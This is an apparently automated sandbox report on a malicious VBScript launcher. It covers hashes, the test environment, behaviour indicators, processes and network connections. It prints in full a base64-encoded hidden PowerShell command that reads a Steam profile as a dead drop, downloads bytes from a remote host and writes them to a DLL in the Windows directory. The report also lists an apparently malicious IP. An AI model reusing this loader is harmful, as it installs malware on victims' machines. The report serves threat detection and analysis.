Malware analysis launcher.vbs Malicious activity | ANY.RUN

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File name:	launcher.vbs
Full analysis:	https://app.any.run/tasks/c93962ee-a6ff-4019-93ab-505abbfb0b52
Verdict:	Malicious activity
Analysis date:	June 22, 2025, 21:43:47
OS:	Windows 10 Professional (build: 19044, 64 bit)
Indicators:
MIME:	text/plain
File info:	ASCII text, with very long lines (1772), with CRLF, LF line terminators
MD5:	DF34822D9194AE2D7C263CEDAE69B518
SHA1:	6E0142B6B3311C5ED721B4F60702BFA290723581
SHA256:	A866CCD1F0CD74D53093B184C1F544E34133513CCC7E5B025590007CB7D6E4A2
SSDEEP:	48:rbGTvRkq8jP7oQx8uKWkDX6oAav7SLrxc:362P/cKDK7Yi

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Launch configuration

Task duration:: 120 seconds
Heavy Evasion option:: off
Network geolocation:: off
Additional time used:: none
MITM proxy:: off
Privacy:: Public submission
Fakenet option:: off
Route via Tor:: off
Autoconfirmation of UAC:: on
Network:: on

Software preset

Internet Explorer 11.3636.19041.0
Adobe Acrobat (64-bit) (23.001.20093)
Adobe Flash Player 32 NPAPI (32.0.0.465)
Adobe Flash Player 32 PPAPI (32.0.0.465)
CCleaner (6.20)
FileZilla 3.65.0 (3.65.0)
Google Chrome (133.0.6943.127)
Google Update Helper (1.3.36.51)
Java 8 Update 271 (64-bit) (8.0.2710.9)
Java Auto Updater (2.8.271.9)
Microsoft Edge (133.0.3065.92)
Microsoft Office Professional 2019 - de-de (16.0.16026.20146)
Microsoft Office Professional 2019 - en-us (16.0.16026.20146)
Microsoft Office Professional 2019 - es-es (16.0.16026.20146)
Microsoft Office Professional 2019 - it-it (16.0.16026.20146)
Microsoft Office Professional 2019 - ja-jp (16.0.16026.20146)
Microsoft Office Professional 2019 - ko-kr (16.0.16026.20146)
Microsoft Office Professional 2019 - pt-br (16.0.16026.20146)
Microsoft Office Professional 2019 - tr-tr (16.0.16026.20146)
Microsoft Office Professionnel 2019 - fr-fr (16.0.16026.20146)
Microsoft Office профессиональный 2019 - ru-ru (16.0.16026.20146)
Microsoft OneNote - en-us (16.0.16026.20146)
Microsoft Update Health Tools (3.74.0.0)
Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 (12.0.30501.0)
Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2015-2022 Redistributable (x64) - 14.36.32532 (14.36.32532.0)
Microsoft Visual C++ 2015-2022 Redistributable (x86) - 14.36.32532 (14.36.32532.0)
Microsoft Visual C++ 2022 X64 Additional Runtime - 14.36.32532 (14.36.32532)
Microsoft Visual C++ 2022 X64 Minimum Runtime - 14.36.32532 (14.36.32532)
Microsoft Visual C++ 2022 X86 Additional Runtime - 14.36.32532 (14.36.32532)
Microsoft Visual C++ 2022 X86 Minimum Runtime - 14.36.32532 (14.36.32532)
Mozilla Firefox (x64 en-US) (136.0)
Mozilla Maintenance Service (136.0)
Notepad++ (64-bit x64) (7.9.1)
Office 16 Click-to-Run Extensibility Component (16.0.15726.20202)
Office 16 Click-to-Run Licensing Component (16.0.16026.20146)
Office 16 Click-to-Run Localization Component (16.0.15726.20202)
Office 16 Click-to-Run Localization Component (16.0.15928.20198)
PowerShell 7-x64 (7.3.5.0)
Update for Windows 10 for x64-based Systems (KB4023057) (2.59.0.0)
Update for Windows 10 for x64-based Systems (KB4023057) (2.63.0.0)
Update for Windows 10 for x64-based Systems (KB4480730) (2.55.0.0)
Update for Windows 10 for x64-based Systems (KB5001716) (8.93.0.0)
VLC media player (3.0.11)
WinRAR 5.91 (64-bit) (5.91.0)
Windows PC Health Check (3.6.2204.08001)

Hotfixes

Client LanguagePack Package
DotNetRollup
DotNetRollup 481
FodMetadata Package
Foundation Package
Hello Face Package
InternetExplorer Optional Package
KB5003791
KB5011048
KB5015684
KB5033052
LanguageFeatures Basic en us Package
LanguageFeatures Handwriting en us Package
LanguageFeatures OCR en us Package
LanguageFeatures Speech en us Package
LanguageFeatures TextToSpeech en us Package
MSPaint FoD Package
MediaPlayer Package
Microsoft OneCore ApplicationModel Sync Desktop FOD Package
Microsoft OneCore DirectX Database FOD Package
NetFx3 OnDemand Package
Notepad FoD Package
OpenSSH Client Package
PowerShell ISE FOD Package
Printing PMCPPC FoD Package
Printing WFS FoD Package
ProfessionalEdition
QuickAssist Package
RollupFix
ServicingStack
ServicingStack 3989
StepsRecorder Package
TabletPCMath Package
UserExperience Desktop Package
WordPad FoD Package

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MALICIOUS
- Run PowerShell with an invisible window
  - powershell.exe (PID: 5020)
SUSPICIOUS
- Base64-obfuscated command line is found
  - wscript.exe (PID: 1560)
- The process bypasses the loading of PowerShell profile settings
  - wscript.exe (PID: 1560)
- Runs shell command (SCRIPT)
  - wscript.exe (PID: 1560)
- BASE64 encoded PowerShell command has been detected
  - wscript.exe (PID: 1560)
- Starts POWERSHELL.EXE for commands execution
  - wscript.exe (PID: 1560)
- Uses base64 encoding (POWERSHELL)
  - powershell.exe (PID: 5020)
- Converts a specified value to a byte (POWERSHELL)
  - powershell.exe (PID: 5020)
INFO
- Checks proxy server information
  - powershell.exe (PID: 5020)
  - slui.exe (PID: 3740)
- Disables trace logs
  - powershell.exe (PID: 5020)
- Failed to create an executable file in Windows directory
  - powershell.exe (PID: 5020)
- Reads the software policy settings
  - slui.exe (PID: 3740)

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Total processes

140

Monitored processes

Malicious processes

Suspicious processes

Behavior graph

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Process information

PID

CMD

Path

Indicators

Parent process

1560

"C:\WINDOWS\System32\WScript.exe" C:\Users\admin\AppData\Local\Temp\launcher.vbs

C:\Windows\System32\wscript.exe

—

explorer.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Microsoft ® Windows Based Script Host

Exit code:

Version:

5.812.10240.16384

Modules

Images
c:\windows\system32\wscript.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll

1720

\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\System32\conhost.exe

—

powershell.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Console Window Host

Exit code:

Version:

10.0.19041.1 (WinBuild.160101.0800)

Modules

Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll

3740

C:\WINDOWS\System32\slui.exe -Embedding

C:\Windows\System32\slui.exe

svchost.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows Activation Client

Exit code:

Version:

10.0.19041.1 (WinBuild.160101.0800)

Modules

Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll

5020

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -enc JABoAHQAbQBsAD0ASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAAJwBoAHQAdABwAHMAOgAvAC8AcwB0AGUAYQBtAGMAbwBtAG0AdQBuAGkAdAB5AC4AYwBvAG0ALwBwAHIAbwBmAGkAbABlAHMALwA3ADYANQA2ADEAMQA5ADkAOAA2ADEAOQAxADIAOQAzADUALwAnACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AGkAZgAoACQAaAB0AG0AbAAuAEMAbwBuAHQAZQBuAHQAIAAtAG0AYQB0AGMAaAAgACcAPAB0AGkAdABsAGUAPgBTAHQAZQBhAG0AIABDAG8AbQBtAHUAbgBpAHQAeQAgADoAOgAgACgALgAqAD8AKQA8AC8AdABpAHQAbABlAD4AJwApAHsAJABuAHUAbABsAD0AJABtAGEAdABjAGgAZQBzAFsAMQBdAC4AVAByAGkAbQAoACkAfQA7AGkAZgAoACQAaAB0AG0AbAAuAEMAbwBuAHQAZQBuAHQAIAAtAG0AYQB0AGMAaAAgACcAIgBzAHUAbQBtAGEAcgB5ACIAXABzACoAOgBcAHMAKgAiACgALgAqAD8AKQAiAH0AJwApAHsAdAByAHkAewAkAGQAZQBjAG8AZABlAGQAPQBbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAG0AYQB0AGMAaABlAHMAWwAxAF0ALgBUAHIAaQBtACgAKQApACkAOwAkAGIANgA0AGgAZQB4AD0AKABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAkAGQAZQBjAG8AZABlAGQAIAAtAFUAcwBlAEIAYQBzAGkAYwBQAGEAcgBzAGkAbgBnACkALgBDAG8AbgB0AGUAbgB0ADsAJABoAGUAeAA9AFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYgA2ADQAaABlAHgAKQApADsAJABiAHkAdABlAHMAPQBbAGIAeQB0AGUAWwBdAF0AKAAkAGgAZQB4ACAALQByAGUAcABsAGEAYwBlACAAJwAwAHgAJwAsACcAJwAgAC0AcwBwAGwAaQB0ACAAJwAsACcAfAAlAHsAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAHkAdABlACgAJABfAC4AVAByAGkAbQAoACkALAAxADYAKQB9ACkAOwBpAGYAKAAkAGIAeQB0AGUAcwApAHsAWwBJAE8ALgBGAGkAbABlAF0AOgA6AFcAcgBpAHQAZQBBAGwAbABCAHkAdABlAHMAKAAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABjAHMAYwBhAHAAaQAuAGQAbABsACIALAAkAGIAeQB0AGUAcwApAH0AfQBjAGEAdABjAGgAewB9AH0A

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

wscript.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows PowerShell

Exit code:

Version:

10.0.19041.1 (WinBuild.160101.0800)

Modules

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c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\atl.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\user32.dll

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Total events

2 915

Read events

2 915

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Executable files

Suspicious files

Text files

Unknown types

Dropped files

PID	Process	Filename		Type
5020	powershell.exe	C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_htgd4q4u.n05.ps1		text
		MD5:D17FE0A3F47BE24A6453E9EF58C94641	SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
5020	powershell.exe	C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_iwbreguc.t1l.psm1		text
		MD5:D17FE0A3F47BE24A6453E9EF58C94641	SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
5020	powershell.exe	C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive		binary
		MD5:CCD8DDE1E265F6FAAE4FFED2E3BD7F49	SHA256:984F3358FF35572C153CC779468462F3E87654A25754E08D7146C4245842E6DD

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HTTP(S) requests

TCP/UDP connections

DNS requests

Threats

HTTP requests

PID	Process	Method	HTTP Code	IP	URL	CN	Type	Size	Reputation
5020	powershell.exe	GET	—	16.26.147.134:8080	http://16.26.147.134:8080/CgAKQB9	unknown	—	—	unknown
1268	svchost.exe	GET	200	184.24.77.10:80	http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl	unknown	—	—	whitelisted
2464	svchost.exe	GET	200	2.17.190.73:80	http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D	unknown	—	—	whitelisted
1268	svchost.exe	GET	200	95.101.149.131:80	http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl	unknown	—	—	whitelisted
700	SIHClient.exe	GET	200	95.101.149.131:80	http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl	unknown	—	—	whitelisted
700	SIHClient.exe	GET	200	95.101.149.131:80	http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl	unknown	—	—	whitelisted
2940	svchost.exe	GET	200	23.209.209.135:80	http://x1.c.lencr.org/	unknown	—	—	whitelisted

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Connections

PID	Process	IP	Domain	ASN	CN	Reputation
4	System	192.168.100.255:137	—	—	—	whitelisted
—	—	20.73.194.208:443	settings-win.data.microsoft.com	MICROSOFT-CORP-MSN-AS-BLOCK	NL	whitelisted
4	System	192.168.100.255:138	—	—	—	whitelisted
5020	powershell.exe	104.102.49.106:443	steamcommunity.com	AKAMAI-AS	DE	whitelisted
5020	powershell.exe	16.26.147.134:8080	—	—	US	unknown
2336	svchost.exe	172.211.123.249:443	client.wns.windows.com	MICROSOFT-CORP-MSN-AS-BLOCK	FR	whitelisted
2464	svchost.exe	20.190.159.73:443	login.live.com	MICROSOFT-CORP-MSN-AS-BLOCK	IE	whitelisted
2464	svchost.exe	2.17.190.73:80	ocsp.digicert.com	AKAMAI-AS	DE	whitelisted
1268	svchost.exe	51.104.136.2:443	settings-win.data.microsoft.com	MICROSOFT-CORP-MSN-AS-BLOCK	IE	whitelisted
1268	svchost.exe	184.24.77.10:80	crl.microsoft.com	Akamai International B.V.	DE	whitelisted

DNS requests

Domain	IP	Reputation
settings-win.data.microsoft.com	20.73.194.208 51.104.136.2	whitelisted
google.com	142.250.186.110	whitelisted
steamcommunity.com	104.102.49.106	whitelisted
client.wns.windows.com	172.211.123.249	whitelisted
login.live.com	20.190.159.73 40.126.31.0 40.126.31.130 20.190.159.4 20.190.159.75 40.126.31.1 20.190.159.131 20.190.159.23	whitelisted
ocsp.digicert.com	2.17.190.73	whitelisted
crl.microsoft.com	184.24.77.10 184.24.77.29 184.24.77.6 184.24.77.42 184.24.77.35 184.24.77.38 184.24.77.11 184.24.77.30 184.24.77.7	whitelisted
www.microsoft.com	95.101.149.131	whitelisted
nexusrules.officeapps.live.com	52.111.236.22	whitelisted
slscr.update.microsoft.com	4.175.87.197	whitelisted

Threats

PID	Process	Class	Message
5020	powershell.exe	Not Suspicious Traffic	ET INFO Windows Powershell User-Agent Usage

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General Info

launcher.vbs

DF34822D9194AE2D7C263CEDAE69B518

6E0142B6B3311C5ED721B4F60702BFA290723581

A866CCD1F0CD74D53093B184C1F544E34133513CCC7E5B025590007CB7D6E4A2

48:rbGTvRkq8jP7oQx8uKWkDX6oAav7SLrxc:362P/cKDK7Yi

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Behavior activities

MALICIOUS

Run PowerShell with an invisible window

SUSPICIOUS

Base64-obfuscated command line is found

The process bypasses the loading of PowerShell profile settings

Runs shell command (SCRIPT)

BASE64 encoded PowerShell command has been detected

Starts POWERSHELL.EXE for commands execution

Uses base64 encoding (POWERSHELL)

Converts a specified value to a byte (POWERSHELL)

INFO

Checks proxy server information

Disables trace logs

Failed to create an executable file in Windows directory

Reads the software policy settings

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